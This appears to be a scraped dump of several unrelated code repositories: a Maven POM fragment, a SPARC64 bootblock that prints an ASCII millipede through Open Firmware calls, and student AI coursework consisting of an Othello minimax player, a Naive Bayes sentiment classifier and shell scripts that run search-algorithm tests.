<!-- https://mvnrepository.com/artifact/org.springframework/spring-jdbc -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-jdbc</artifactId>
<version>5.1.5.RELEASE</version>
</dependency>
<!-- Mial using gmail server -->
<dependency>
<groupId>javax.mail</groupId>
<artifactId>mail</artifactId>
<version>1.4.3</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-surefire-plugin</artifactId>
<version>2.19.1</version>
<configuration>
<!-- Force alphabetical order to have a reproducible build -->
<runOrder>alphabetical</runOrder>
<useSystemClassLoader>false</useSystemClassLoader>
</configuration>
</plugin>
</plugins>
</build>
</project>
| 8c224082abbd5244d310617dc6ee7ce1d414ab6c | [
"Java",
"Maven POM"
] | 14 | Java | Shashidhar1998/shashi | 35cf9d6d254685c5dc3ed8b2e477a307aa7cf6ec | 31c56cf00da665b6300c402d3fbb95a933c2c919 |
refs/heads/master | <file_sep>#ifndef UTIL_H
#define UTIL_H
u64_t strlen(char *s);
#endif
<file_sep>#include "types.h"
#include "util.h"
u64_t strlen(char *s)
{
u64_t i;
for (i = 0; s[i]; i++)
;
return (i);
}
<file_sep>NAME=bootblocks.bin
SRC=main.c entry.s prom.c util.c
OBJ2=$(SRC:.c=.o)
OBJ=$(OBJ2:.s=.o)
CFLAGS=-Wall -Werror -mcpu=ultrasparc -m64 -fno-common -ffreestanding -nostdlib -nostdinc -fno-omit-frame-pointer -O0 -fno-stack-protector -fno-builtin -fno-use-linker-plugin -mno-app-regs
LDFLAGS=-nostdlib -nodefaultlibs -nostdinc
LDSCRIPT=conf/ld.scpt
LD=/usr/local/cross/sun4u/bin/sparc64-elf-ld
CC=/usr/local/cross/sun4u/bin/sparc64-elf-gcc
AS=/usr/local/cross/sun4u/bin/sparc64-elf-as
RM=rm -fr
DD=/bin/dd
MKISOFS=/usr/local/bin/mkisofs
QEMU=/usr/local/bin/qemu-system-sparc64
$(NAME): $(OBJ)
$(LD) $(LDFLAGS) -T $(LDSCRIPT) -o $(NAME) $(OBJ)
all: $(NAME)
clean:
$(RM) $(NAME) $(OBJ)
re: clean all
iso:
$(DD) if=/dev/zero of=bootblock.bin bs=8192 count=1
$(DD) if=bootblocks.bin of=bootblock.bin bs=512 seek=1 conv=notrunc
$(MKISOFS) -o cd.iso -G bootblock.bin .
emu: iso
$(QEMU) -cdrom cd.iso
<file_sep>#ifndef PROM_H
#define PROM_H
typedef struct
{
u64_t name;
u64_t ac;
u64_t rc;
u64_t c0;
u64_t c1;
u64_t c2;
u64_t c3;
u64_t c4;
} prom_args_t;
extern u64_t (*prom_entry)(void *param);
void prom_exit(void);
u64_t prom_dev_find(char *dev);
void prom_putstr(char *s);
void prom_init(void);
#endif
<file_sep># millipede-sun4u
Print a beautiful millipede
# How to run
The simplest way to run millipede for sun4u is to build the iso file (you will need mkisofs) and launch qemu by typing ```make emu```
At the OBP shell prompt, type ```boot cdrom``` to boot the iso.
## Support
* [Stack Overflow](http://stackoverflow.com/questions/tagged/millipede)
* [Twitter](https://twitter.com/getmillipede)
* [#getmillipede](http://webchat.freenode.net?channels=%23getmillipede&uio=d4) o
n Freenode
## License
[MIT](https://github.com/getmillipede/millipede-efi-x64/blob/master/LICENSE)
<file_sep>#include "types.h"
#include "prom.h"
#include "util.h"
static u32_t pr_stdin;
static u32_t pr_stdout;
u64_t (*prom_entry)(void *param);
//
// exit back to prom
//
void prom_exit(void)
{
prom_args_t a;
a.name = (u64_t) "exit";
a.ac = 0;
a.rc = 0;
prom_entry(&a);
}
//
// find a device and return its handle
//
u64_t prom_dev_find(char *dev)
{
prom_args_t a;
u64_t ret;
a.name = (u64_t) "finddevice";
a.ac = 1;
a.rc = 1;
a.c0 = (u64_t) dev;
ret = prom_entry(&a);
if (ret != -1)
ret = a.c1;
return ret;
}
//
// get a device property
//
u64_t prom_dev_get_prop(u32_t hdl, char *prop, void *p, u32_t psz)
{
prom_args_t a;
u64_t ret;
a.name = (u64_t) "getprop";
a.ac = 4;
a.rc = 1;
a.c0 = hdl;
a.c1 = (u64_t) prop;
a.c2 = (u64_t) p;
a.c3 = (u64_t) psz;
ret = prom_entry(&a);
if (ret != -1)
ret = a.c4;
return ret;
}
//
// write to a device
//
u64_t prom_dev_write(u32_t hdl, void *p, u32_t psz)
{
prom_args_t a;
u64_t ret;
a.name = (u64_t) "write";
a.ac = 3;
a.rc = 1;
a.c0 = (u64_t) hdl;
a.c1 = (u64_t) p;
a.c2 = (u64_t) psz;
ret = prom_entry(&a);
if (ret != -1)
ret = a.c3;
return ret;
}
//
// putstr
//
void prom_putstr(char *s)
{
u64_t len;
u64_t i;
len = strlen(s);
for (; *s; len -= i, s += i)
if ((i = prom_dev_write(pr_stdout, s, len)) == -1)
return;
}
//
// initialize the prom code
//
void prom_init(void)
{
u32_t ch;
ch = prom_dev_find("/chosen");
if (ch == -1)
prom_exit();
if (prom_dev_get_prop(ch, "stdin", &pr_stdin, sizeof(pr_stdin)) !=
sizeof(pr_stdin))
prom_exit();
if (prom_dev_get_prop(ch, "stdout", &pr_stdout, sizeof(pr_stdout)) !=
sizeof(pr_stdout))
prom_exit();
}
<file_sep>#ifndef TYPES_H
#define TYPES_H
typedef unsigned char u8_t;
typedef signed char s8_t;
typedef unsigned short u16_t;
typedef signed short s16_t;
typedef unsigned int u32_t;
typedef signed int s32_t;
typedef unsigned long u64_t;
typedef signed long s64_t;
#endif
<file_sep>#include "types.h"
#include "prom.h"
char mili_head[] = { 200, 'o', ' ', 'o', 188, '\n', 0};
char mili_body[] = { 200, 205, '(', 219, 219, 219, ')', 205, 188, '\n', 0};
void draw_spaces(u64_t sp)
{
for (; sp; sp--)
prom_putstr(" ");
}
void main(void)
{
u64_t val;
u64_t sp;
u64_t i;
prom_init();
prom_putstr("\f ");
prom_putstr(mili_head);
for (val = -1, sp = 3, i = 0; i < 25; i++, sp += val)
{
if (sp == -1)
{
val = 1;
sp = 1;
}
if (sp == 5)
{
val = -1;
sp = 4;
}
draw_spaces(sp);
prom_putstr(mili_body);
}
prom_exit();
while(1);
}
| 584faf6cc50fa4dcada4b1d10342d3a155e0f6d2 | [
"Markdown",
"C",
"Makefile"
] | 8 | C | getmillipede/millipede-sun4u | 28d7e182ba84d400c5a1e47dc1e7535df8c40a34 | 6a7e5067e05eb2d06d16cd25c538560dafce7750 |
refs/heads/master | <file_sep>#include <iostream>
#include <assert.h>
#include "Board.h"
void Board::delete_grid() {
for (int c = 0; c < num_cols; c++) {
delete[] grid[c];
}
delete[] grid;
}
Board::Board(int cols, int rows) :
num_cols(cols), num_rows(rows) {
grid = new char*[num_cols];
for (int c = 0; c < num_cols; c++) {
grid[c] = new char[num_rows];
for (int r = 0; r < num_rows; r++) {
grid[c][r] = EMPTY;
}
}
}
Board::Board(const Board& other) {
num_cols = other.num_cols;
num_rows = other.num_rows;
grid = new char*[num_cols];
for (int c = 0; c < num_cols; c++) {
grid[c] = new char[num_rows];
for (int r = 0; r < num_rows; r++) {
grid[c][r] = other.grid[c][r];
}
}
}
Board& Board::operator=(const Board& rhs) {
if (this == &rhs) {
return *this;
} else {
num_cols = rhs.num_cols;
num_rows = rhs.num_rows;
if (grid != NULL) {
delete_grid();
}
grid = new char*[num_cols];
for (int c = 0; c < num_cols; c++) {
grid[c] = new char[num_rows];
for (int r = 0; r < num_rows; r++) {
grid[c][r] = rhs.grid[c][r];
}
}
return *this;
}
}
Board::~Board() {
delete_grid();
}
char Board::get_cell(int col, int row) const {
assert((col >= 0) && (col < num_cols));
assert((row >= 0) && (row < num_rows));
return grid[col][row];
}
void Board::set_cell(int col, int row, char val) {
assert((col >= 0) && (col < num_cols));
assert((row >= 0) && (row < num_rows));
grid[col][row] = val;
}
bool Board::is_cell_empty(int col, int row) const {
if (grid[col][row] == EMPTY) {
return true;
} else {
return false;
}
}
bool Board::is_in_bounds(int col, int row) const {
if ((col >= 0) && (col < num_cols) && (row >= 0) && (row < num_rows)) {
return true;
} else {
return false;
}
}
void Board::display() const {
for (int r = get_num_rows() - 1; r >= 0; r--) {
std::cout << r << ":| ";
for (int c = 0; c < get_num_cols(); c++) {
std::cout << get_cell(c, r) << " ";
}
std::cout << std::endl;
}
std::cout << " -";
for (int c = 0; c < get_num_cols(); c++) {
std::cout << "--";
}
std::cout << "\n";
std::cout << " ";
for (int c = 0; c < get_num_cols(); c++) {
std::cout << c << " ";
}
std::cout << "\n\n";
}
<file_sep>/*
* MinimaxPlayer.cpp
*
* Created on: Apr 17, 2015
* Author: wong
*/
#include <iostream>
#include <assert.h>
#include "MinimaxPlayer.h"
using std::vector;
MinimaxPlayer::MinimaxPlayer(char symb) :
Player(symb) {
}
MinimaxPlayer::~MinimaxPlayer() {
}
int min_value(OthelloBoard* b, char player, char opponent);
/*
returns the difference of score
***************************************/
int Utility(OthelloBoard* b, char player, char opponent)
{
return (b->count_score(player)) - (b->count_score(opponent));
}
/*
exoand all next move for player and store informaion
into the vector
**************************************************/
void Successor(OthelloBoard* b, std::vector<OthelloBoard> &v, char player)
{
int index = 0;
int num_cols = 4, num_rows = 4;
for (int c = 0; c < num_cols; c++) {
for (int r = 0; r < num_rows; r++) {
if (b->is_cell_empty(c, r) && b->is_legal_move(c, r, player)) {
v.push_back(OthelloBoard(*b));
v[index].play_move(c,r,player);
//std::cout << "c:" << c << "\nr: " <<r <<'\n';
++index;
}
}
}
//std::cout << "a" <<v[0].count_score(player);
}
/*
this function check all next player's move
using accessor funciont
and send info to min_value function
these connection continue until game is over
*************************************************/
int max_value(OthelloBoard* b, char player, char opponent)
{
bool no_move = false;
/*terminal test*/
if( b->has_legal_moves_remaining(player) == false){
no_move = true;
if(b->has_legal_moves_remaining(opponent) == false){
return Utility(b,player,opponent);
}
}
int max_v = -1000, tmp;
std::vector<OthelloBoard> v;
/* create player's next move */
/* if there is a move */
if(!no_move){
Successor(b,v, player);
}else{
v.push_back(OthelloBoard(*b));
}
int size = v.size();
for(int i = 0; i < size; ++i){
tmp = min_value(&v[i], player, opponent);
//int tmp = v[i].count_score(player);
if(tmp > max_v){
max_v = tmp;
}
}
return max_v;
}
/*
this function check all next opponent's move
using accessor funciont
and send info to max_value function
these connection continue until game is over
*************************************************/
int min_value(OthelloBoard* b, char player, char opponent)
{
bool no_move = false;
/*terminal test*/
if( b->has_legal_moves_remaining(opponent) == false){
no_move = true;
if(b->has_legal_moves_remaining(player) == false){
return Utility(b,player,opponent);
}
}
int min_v = 1000, tmp;
std::vector<OthelloBoard> v;
/* create opponent's next move */
if(!no_move){
Successor(b,v, opponent);
}else{
v.push_back(OthelloBoard(*b));
}
int size = v.size();
for(int i = 0; i < size; ++i){
tmp = max_value(&v[i], player, opponent);
if(tmp < min_v){
min_v = tmp;
}
}
return min_v;
}
/*
when this called, there is atleast one proper movement for player
this function expands player's next move with col and row information
if this function finds better max value, this updatas col and row for solution path
***********************************************************************/
void minimaxDecision(OthelloBoard* b, char player, char opponent, int& col, int& row)
{
int max_v = -1000, tmp;
std::vector<OthelloBoard> v;
std::vector<int> v_col, v_row;
v.push_back(OthelloBoard(*b));
int index = 0;
int num_cols = 4, num_rows = 4;
for (int c = 0; c < num_cols; c++) {
for (int r = 0; r < num_rows; r++) {
if (b->is_cell_empty(c, r) && b->is_legal_move(c, r, player)) {
v.push_back(OthelloBoard(*b));
v[index].play_move(c,r,player);
v_col.push_back(c);
v_row.push_back(r);
//std::cout << v_col[index] << v_row[index];
++index;
}
}
}
for(int i = 0; i < index; ++i){
tmp = min_value(&v[i], player, opponent);
//int tmp = v[i].count_score(player);
if(tmp > max_v){
max_v = tmp;
col = v_col[i];
row = v_row[i];
}
}
}
/*
This function is called after it checks there is a legal move
to get score
board->count_score(this->get_symbol(););
to check the legal move
board->is_legal_move(col, row, this->get_symbol();)
is_legal_move
flip_pieces
has_legal_moves_remaining
count_score
play_move
get_p1_symbol
get_p2_symbol
set_coords_in_direction
check_endpoint
flip_pieces_helper
***********************************************************/
void MinimaxPlayer::get_move(OthelloBoard* b, int& col, int& row) {
char player = this->get_symbol();
char opponent = 'O';
if(player == 'O'){
opponent = 'X';
}
int tmp_col, tmp_row;
minimaxDecision(b,player,opponent,tmp_col,tmp_row);
col = tmp_col;
row = tmp_row;
/* Debug comments */
//std::cout << col << row;
//std::cout <<player<<'\n'<<opponent<<'\n';
/*
std::cout << max_value(b,player,opponent);
std::vector<OthelloBoard> v;
*/
/*
Successor(b,v,player);
minimaxDecision(&v[0],player);
*/
/*
OthelloBoard b2 = OthelloBoard(*b);
std::vector<OthelloBoard> v;
std::cout << v[0].get_cell(1,1);
*/
/*
std::cout << "Enter col: ";
std::cin >> col;
std::cout << "Enter row: ";
std::cin >> row;
*/
}
MinimaxPlayer* MinimaxPlayer::clone() {
MinimaxPlayer* result = new MinimaxPlayer(symbol);
return result;
}
<file_sep>// Group members: <NAME>,
#include <iostream>
#include <fstream>
#include <sstream>
#include <string>
#include <vector>
#include <math.h>
#include <typeinfo>
#include <algorithm>
#include <cctype>
using namespace std;
/* for step1
somewhere create vector<vector<string>> preprocess
( easy to pushback by using string )
1. getline to store string by line
2. convert each string to proper words (e.g. no punctuation)
3. store all vocab in one vector (without classLabel)
5. sort and uniqu to erace duplicated words
--------------------------------------------------
create bocabulary first!
6. for each string from (1.),
*******************************************/
/*
* This struct represents a sentence
* 'text' being the text the sentence has
* 'classLabel' either being 1 (positive) or 0 (negative)
*
*/
struct sentence
{
vector<string> text;
int classLabel;
};
vector<string> split(const string &str, char sep);
void readFile(char *in_file, vector<sentence> &v );
void proper_word(vector<string> &text);
void create_vocabulary(vector<sentence> &trainingSet, vector<string> &vocabulary);
void convert_process(char *out_file, vector<sentence> &sentenceSet, vector<string> &vocabulary, vector<vector<string>> &converted_sentenceSet);
void classification_training(vector<vector<string>> &converted_sentenceSet, vector<pair<float,float>> &training_prob, vector<pair<float,float>> &training_prob2);
float classification_testing(vector<vector<string>> &converted_sentenceSet, vector<pair<float,float>> &training_prob, vector<pair<float,float>> &training_prob2);
/*
argv[1] is the
***********************************/
int main(int argc, char *argv[])
{
vector<sentence> testSet, trainingSet;
vector<string> vocabrary;
vector<vector<string>> converted_testSet, converted_trainingSet;
char testText[] = "testSet.txt", trainingText[] = "trainingSet.txt";
char test_out[] = "preprocessed_test.txt", training_out[]="preprocessed_train.txt";
/* Get the data into testSet and trainingSet */
readFile(testText, testSet);
readFile(trainingText, trainingSet);
/* Create feature vector */
create_vocabulary(trainingSet, vocabrary);
/*
for(auto &itr: vocabrary){
cout << itr << ',';
}
*/
convert_process(test_out,testSet,vocabrary,converted_testSet);
convert_process(training_out,trainingSet,vocabrary,converted_trainingSet);
vector<pair<float,float>> first_training(vocabrary.size(), pair<float,float>(0.0,0.0));
vector<pair<float,float>> first_training2(vocabrary.size(), pair<float,float>(0.0,0.0));
//cout << vocabrary.size();
classification_training(converted_trainingSet, first_training,first_training2);
float accurate_first, accurate_second;
accurate_first = classification_testing(converted_trainingSet, first_training, first_training2);
accurate_second = classification_testing(converted_testSet, first_training, first_training2);
/* print */
ofstream ofs("result.txt");
if (!ofs) {
cerr << "Could not open output file.\n" << endl;
exit(1);
}
ofs << "acuarate trainingSet: " << accurate_first << '\n';
ofs << "acuarate testSet: " << accurate_second;
ofs.close();
return 0;
}
/* http://vivi.dyndns.org/tech/cpp/string.html#swap */
vector<string> split(const string &str, char sep)
{
std::vector<std::string> v;
auto first = str.begin();
while( first != str.end() ) {
auto last = first;
while( last != str.end() && *last != sep )
++last;
v.push_back(std::string(first, last));
if( last != str.end() )
++last;
first = last;
}
return v;
}
void readFile(char *in_file, vector<sentence> &v ) //vector<string> &vocabulary, vector<vector<string>> &feature
{
ifstream ifs(in_file);
if (ifs.fail()) {
cerr << "Failed to open file for input.\n" << endl;
exit(1);
}
int index = 0, counter = 0;
string line;
// These two while loops will tokenize the entire text file and put it into a vector
while (getline(ifs, line))
{
v.push_back(sentence()); // Create a new spot for a sentence
stringstream ss(line);
while (getline(ss, line, '\t'))
{
if ((counter % 2) == 0) // for text
{
//cout << "Text: " << line << endl;
v[index].text = split(line, ' ');
proper_word(v[index].text);
}
else if ((counter % 2) == 1) // for classLabel
{
int numClassLabel = stoi(line);
//cout << "ClassLabel: " << numClassLabel << endl;
v[index].classLabel = numClassLabel;
}
counter += 1;
}
index += 1;
}
ifs.close();
}
/*
delete punctuation and convert into lower case
******************************************************/
void proper_word(vector<string> &text)
{
int size_i = text.size();
for(int i = 0; i < size_i; ++i){
//string tmp = text[i];
int size_j = text[i].size();
for(int j = 0; j < size_j; ++j){
/* if punct (I used ispunct() but there was weird behavior)
I use !isalnum because of the French word(π⌐)
*/
if(!isalnum(text[i][j])){
/* had to declere the number of erase elements */
text[i].erase(j--,1);
size_j = text[i].size();
}
}
/* http://www.toshioblog.com/archives/23295983.html#title2 */
transform(text[i].begin(), text[i].end(), text[i].begin(), ::tolower);
/*
size_j = text[i].size();
for(int j = 0; j < size_j; ++j){
if(isupper(text[i][j])){
std::tolower(text[i][j]);
}
}*/
/*if empty, delete*/
if(text[i].empty()){
text.erase(text.begin()+i);
i--;
size_i=text.size();
}
//text[i] = tmp;
//cout << text[i];
}
//cout << endl;
}
/*
push all text into vocabulary and sort it ( sort(vocabulary.begin(), vocabulary.end()); ). then vocabulary.erase(std::unique(vocabulary.begin(), vocabulary.end()), vocabulary.end());
***********************************************************************************/
void create_vocabulary(vector<sentence> &trainingSet, vector<string> &vocabulary)
{
for(auto &itr: trainingSet){
for(int i = 0; i < itr.text.size(); ++i){
vocabulary.push_back(itr.text[i]);
}
}
sort(vocabulary.begin(), vocabulary.end());
vocabulary.erase(unique(vocabulary.begin(), vocabulary.end()), vocabulary.end());
vocabulary.push_back("classlabel");
}
/*
convert vector of sentence into feature vector
************************************/
void convert_process(char *out_file, vector<sentence> &sentenceSet, vector<string> &vocabulary, vector<vector<string>> &converted_sentenceSet)
{
// check each sentence
for(int i = 0; i < sentenceSet.size(); ++i){
//edit this and push_back into converted_sentenceSet
vector<string> tmp(vocabulary.size(),"0");
if(sentenceSet[i].classLabel==1){
tmp[vocabulary.size()-1] = "1";
}
//check each word
for(int j = 0; j < sentenceSet[i].text.size(); ++j){
//if the word is in the vocabulary
for(int k = 0; k < vocabulary.size()-1; ++k){
//if find, tmp[k] = "1"
if(vocabulary[k].compare(sentenceSet[i].text[j]) == 0){
tmp[k] = "1";
}
}
}
converted_sentenceSet.push_back(tmp);
}
/* print */
ofstream ofs(out_file);
if (!ofs) {
cerr << "Could not open output file.\n" << endl;
exit(1);
}
/* print the vocabulary */
for(int i = 0; i < vocabulary.size(); ++i){
ofs << vocabulary[i];
if(i!=vocabulary.size()-1){
ofs << ',';
}else{
ofs << '\n';
}
}
for(int i = 0; i < converted_sentenceSet.size(); ++i){
for(int j = 0; j < converted_sentenceSet[i].size(); ++j){
ofs << converted_sentenceSet[i][j];
if(j!=converted_sentenceSet[i].size()-1){
ofs << ',';
}else if(i!=converted_sentenceSet.size()-1){
ofs << '\n';
}
}
}
ofs.close();
}
/***
1. need to create (pair of floating numbers) for each words (training)
- (x=1 given CL=1) and (x=0 given CL = 0)
- for CL, pair value is P(CL=1) and P(CL=0)
- vector<pair<float,float>> trained_text(vocabulary.size());
- for each vocabulary, ((#of x=1 and CL=1)+1) / ((# of CL=1)+2)
- and ((#of x=0 and CL=0)+1) / ((# of CL=0)+2)
******************************************/
void classification_training(vector<vector<string>> &converted_sentenceSet, vector<pair<float,float>> &training_prob, vector<pair<float,float>> &training_prob2)
{
// converted_sentenceSet[0].size() is number of words
// converted_sentenceSet.size() is number of sentences
float good_CL = 0., bad_CL = 0.;
for(int i = 0; i < converted_sentenceSet.size(); ++i){
if(converted_sentenceSet[i][converted_sentenceSet[i].size()-1] == "1"){
++good_CL;
}else{
++bad_CL;
}
}
training_prob[converted_sentenceSet[0].size()-1].first = good_CL/converted_sentenceSet.size();
training_prob[converted_sentenceSet[0].size()-1].second = bad_CL/converted_sentenceSet.size();
training_prob2[converted_sentenceSet[0].size()-1].first = good_CL/converted_sentenceSet.size();
training_prob2[converted_sentenceSet[0].size()-1].second = bad_CL/converted_sentenceSet.size();
// counting is fine-----
// count vocabulary = 1 and cl = 1 or vocabulary = 0 and cl = 0.
// no need to check converted_sentenceSet[][converted_sentenceSet[].size()-1]
for(int i = 0; i < converted_sentenceSet[0].size()-1; ++i){
float good_pair = 0., bad_pair = 0.;
float good_bad = 0., bad_good = 0.;
// want to see converted_sentenceSet[j][i]
for(int j = 0; j < converted_sentenceSet.size(); ++j){
/*case of the CL*/
if(converted_sentenceSet[j][i].compare("1")==0 and converted_sentenceSet[j][(converted_sentenceSet[0].size()-1)].compare("1")==0){
++good_pair;
}else if(converted_sentenceSet[j][i].compare("0")==0 and converted_sentenceSet[j][(converted_sentenceSet[0].size()-1)].compare("0") == 0){
++bad_pair;
}/*lse if(converted_sentenceSet[j][i].compare("1")==0 and converted_sentenceSet[j][(converted_sentenceSet[0].size()-1)].compare("0") == 0){
++good_bad;
}else if(converted_sentenceSet[j][i].compare("0")==0 and converted_sentenceSet[j][(converted_sentenceSet[0].size()-1)].compare("1") == 0){
++bad_good;
}*/
}
//cout << good_pair << ' ' << bad_pair <<endl;
training_prob[i].first = (float)(good_pair+1)/(float)(good_CL+2);
training_prob[i].second = (float)(bad_pair+1)/(float)(bad_CL+2);
training_prob2[i].first = (float)(good_bad+1)/(float)(good_CL+2);
training_prob2[i].second = (float)(bad_good+1)/(float)(bad_CL+2);
}
//cout <<converted_sentenceSet[0].size();
cout << good_CL << ' ' << bad_CL << endl;
for(int i = 0; i < training_prob.size(); ++i){
cout << training_prob[i].first << ' ' << training_prob[i].second << endl;
}
}
/*
2. calculate max prob (testing)
- for v=1, log( P(CL=1) + sum_words( log(P(X=1,CL=1) + log( 1 - P(X=1,CL=1) )
- for v=0, log( P(CL=0) + sum_words( log( 1 - P(X=1,CL=0) ) + log( P(X=1,CL=0) )
********************************/
float classification_testing(vector<vector<string>> &converted_sentenceSet, vector<pair<float,float>> &training_prob, vector<pair<float,float>> &training_prob2)
{
// chech each words to predict -> count it
int correct = 0;
float predict_good = 0., predict_bad = 0.;
//loop all of statement (need to see each CL)
for(int i=0; i < converted_sentenceSet.size(); ++i){
// loop all vocab
for(int j=0; j < converted_sentenceSet[0].size()-1; ++j){
//cout << training_prob[j].first;
if(converted_sentenceSet[i][j].compare("1") == 0){
predict_good += log10f(training_prob[j].first);
predict_bad += log10f(1-training_prob[j].second);
}else{
predict_good += log10f(1-training_prob[j].first);
predict_bad += log10f(training_prob[j].second);
}
/*
predict_good += log10(training_prob[j].first);
predict_bad += log10(training_prob[j].second);
predict_good += log10(1-training_prob[j].first);
predict_bad += log10(1-training_prob[j].second);
*/
}
predict_good+= log10f(training_prob[converted_sentenceSet[0].size()-1].first);
predict_bad+= log10f(training_prob[converted_sentenceSet[0].size()-1].second);
//cout << predict_good << ' ' << predict_bad;
if(predict_good > predict_bad){
if(converted_sentenceSet[i][converted_sentenceSet[0].size()-1] == "1"){
correct++;
}
}else{
if(converted_sentenceSet[i][converted_sentenceSet[0].size()-1] == "0"){
correct++;
}
}
}
//cout << correct << ' ' << converted_sentenceSet.size()<<endl;
float result = (float)correct/(float)converted_sentenceSet.size();
//cout << result ;
return result;
}<file_sep>#!/bin/bash
./main start1.txt goal1.txt dfs dfs1.txt
./main start2.txt goal2.txt dfs dfs2.txt
./main start3.txt goal3.txt dfs dfs3.txt
<file_sep>#!/bin/bash
g++ -o main main.cpp
./main start1.txt goal1.txt bfs bfs1.txt
./main start2.txt goal2.txt bfs bfs2.txt
./main start3.txt goal3.txt bfs bfs3.txt
./main start1.txt goal1.txt dfs dfs1.txt
./main start2.txt goal2.txt dfs dfs2.txt
./main start3.txt goal3.txt dfs dfs3.txt
./main start1.txt goal1.txt iddfs iddfs1.txt
./main start2.txt goal2.txt iddfs iddfs2.txt
./main start3.txt goal3.txt iddfs iddfs3.txt
./main start1.txt goal1.txt astar astar1.txt
./main start2.txt goal2.txt astar astar2.txt
./main start3.txt goal3.txt astar astar3.txt<file_sep>/**
* Player class
*/
#ifndef PLAYER_H
#define PLAYER_H
#include "OthelloBoard.h"
/**
* This is an abstract base class for a Player
*/
class Player {
public:
/**
* @param symb The symbol for the player's pieces
*/
Player(char symb);
/**
* Destructor
*/
virtual ~Player();
/**
* @return The player's symbol
* Gets the symbol for the player's pieces
*/
char get_symbol() { return symbol; }
/**
* @param b The current board
* @param col Holds the column of the player's move
* @param row Holds the row of the player's move
* Gets the next move for the player
*/
virtual void get_move(OthelloBoard* b, int& col, int& row) = 0;
/**
* @return A copy of the Player object
* Virtual copy constructor
*/
virtual Player* clone() = 0;
protected:
/** The symbol for the player's pieces*/
char symbol;
};
#endif
<file_sep>/*
* OthelloBoard.h
*
* Created on: Apr 18, 2015
* Author: wong
*/
#ifndef OTHELLOBOARD_H_
#define OTHELLOBOARD_H_
#include "Board.h"
/**
* This class is a specialized version of the Board class for Othello. The OthelloBoard
* class respects the rules of Othello and also keeps track of the symbols for Player
* 1 and Player 2.
*/
class OthelloBoard : public Board {
public:
/**
* @cols The number of columns in the game of Othello
* @rows The number of rows in the game of Othello
* @p1_symbol The symbol used for Player 1's pieces on the board
* @p2_symbol The symbol used for Player 2's pieces on the board
* This is a constructor for an OthelloBoard clas.
*/
OthelloBoard(int cols, int rows, char p1_symbol, char p2_symbol);
/**
* @param other The OthelloBoard object you are copying from.
* This is the copy constructor for the OthelloBoard class.
*/
OthelloBoard(const OthelloBoard& other);
/**
* The destructor for the OthelloBoard class.
*/
virtual ~OthelloBoard();
/**
* Initializes the Othello board to the starting position of the pieces
* for Players 1 and 2
*/
void initialize();
/**
* @param rhs The right-hand side object of the assignment
* @return The left-hand side object of the assignment
* This is the overloaded assignment operator for the OthelloBoard class
*/
OthelloBoard& operator=(const OthelloBoard& rhs);
/**
* @param col The column for where your piece goes
* @param row The row for where your piece goes
* @return true if the move is legal, false otherwise.
* Checks the legality of a move that places a piece at the specified col and
* row.
*/
bool is_legal_move(int col, int row, char symbol) const;
/**
* @param symbol This is the symbol for the current player.
* @param col The column for where your piece goes
* @param row The row for where your piece goes
* Flips the in-between pieces once you put down a piece the specified
* col and row position. The symbol argument specifies who the
* current move belongs to.
*/
int flip_pieces(int col, int row, char symbol);
/**
* @param symbol This symbol specifies the symbol for the current player (i.e.
* who the current move belongs to)
* @return true if there are still moves remaining, false otherwise
* Checks if the game is over.
*/
bool has_legal_moves_remaining(char symbol) const;
/**
* @param symbol The symbol representing a particular player.
* Returns the score for the player with the specified symbol.
*/
int count_score(char symbol) const;
/**
* @param col The column where the piece goes
* @param row The row where the piece goes
* Plays the move by placing a piece, with the given symbol, down at the specified
* col and row. Then, any pieces sandwiched in between the two endpoints are flipped.
*/
void play_move(int col, int row, char symbol);
/**
* @return Returns the symbol for Player 1 (the maximizing player)'s pieces
* Returns the symbol for Player 1's pieces
*/
char get_p1_symbol() { return p1_symbol; }
/**
* @return Returns the symbol for Player 2 (the minimizing player)'s pieces
* Returns the symbol for Player 2's pieces
*/
char get_p2_symbol() { return p2_symbol; }
private:
/** The symbol for Player 1's pieces */
char p1_symbol;
/** The symbol for Player 2's pieces */
char p2_symbol;
/**
* @param col The column of the starting point
* @param row The row of the starting point
* @param next_col The return value for the column
* @param next_row The return value for the row
* @param dir The direction you want to move
* Sets the coordinates of next_col and next_row to be the coordinates if you were
* moving in the direction specified by the argument dir starting at position (col,row)
*/
void set_coords_in_direction(int col, int row, int& next_col, int& next_row, int dir) const;
/**
* @param col The column of the starting point
* @param row The row of the starting point
* @param symbol The symbol of the current player. You will match (or not match) this symbol
* at the endpoint
* @param dir The direction you are moving in
* @param match_symbol If true, it will return true if the arg symbol matches the endpoint. If false,
* it will return true if the arg symbol doesn't match the endpoint.
* If you start at (col,row) and move in direction dir, this function will check the endpoint
* of a trail of pieces. If match_symbol is true, it will return true if the endpoint matches
* the argument symbol (and false otherwise). If match_symbol is false, it will return true
* if the endpoint doesn't match the argument symbol (and false otherwise).
*/
bool check_endpoint(int col, int row, char symbol, int dir,
bool match_symbol) const;
/**
* @param col The column of the starting point
* @param row The row of the starting point
* @param symbol This is the symbol at the endpoint that terminates the row of pieces flipped
* @param dir The direction you are moving
* This is a helper function for the recursive flip_pieces function.
*/
int flip_pieces_helper(int col, int row, char symbol, int dir);
};
#endif /* OTHELLOBOARD_H_ */
<file_sep>#!/bin/bash
./main start1.txt goal1.txt bfs bfs1.txt
./main start2.txt goal2.txt bfs bfs2.txt
./main start3.txt goal3.txt bfs bfs3.txt
<file_sep>
## Instruction
Implementing the computer opponent using the Minimax algorithm.
Calculate the next move for the computer player using the Minimax algorithm. Since we will be using ASCII art to display the board, we will use the symbols X (for the dark player who goes first) and O (for the light player who goes second). We will operate under the assumption that the player going first is the maximizing player and the player going second is the minimizing player.
The command line allows you to select whether a player is a human player or a computer player.
## Example of compile a code program to create an executable file
```sh
$ make all
```
## Example of run program commands
```sh
$ othello <player1 type> <player2 type>
$ othello human minimax
```
<file_sep>/**
* Board class
*/
#ifndef BOARD_H
#define BOARD_H
#define EMPTY '.'
/** Directions enum for the Othello Board */
enum Direction {N,NE,E,SE,S,SW,W,NW};
/**
* This is a generic board class that serves as a wrapper for a 2D array.
* It will be used for board games like Othello, Tic-Tac-Toe and Connect 4.
*/
class Board {
public:
/**
* @param cols The number of columns in the board
* @param rows The number of rows in the board
* Constructor that creates a 2D board with the given number of columns
* and rows
*/
Board(int cols, int rows);
/**
* @param other A reference to the Board object being copied
* This is the copy constructor for the Board class
*/
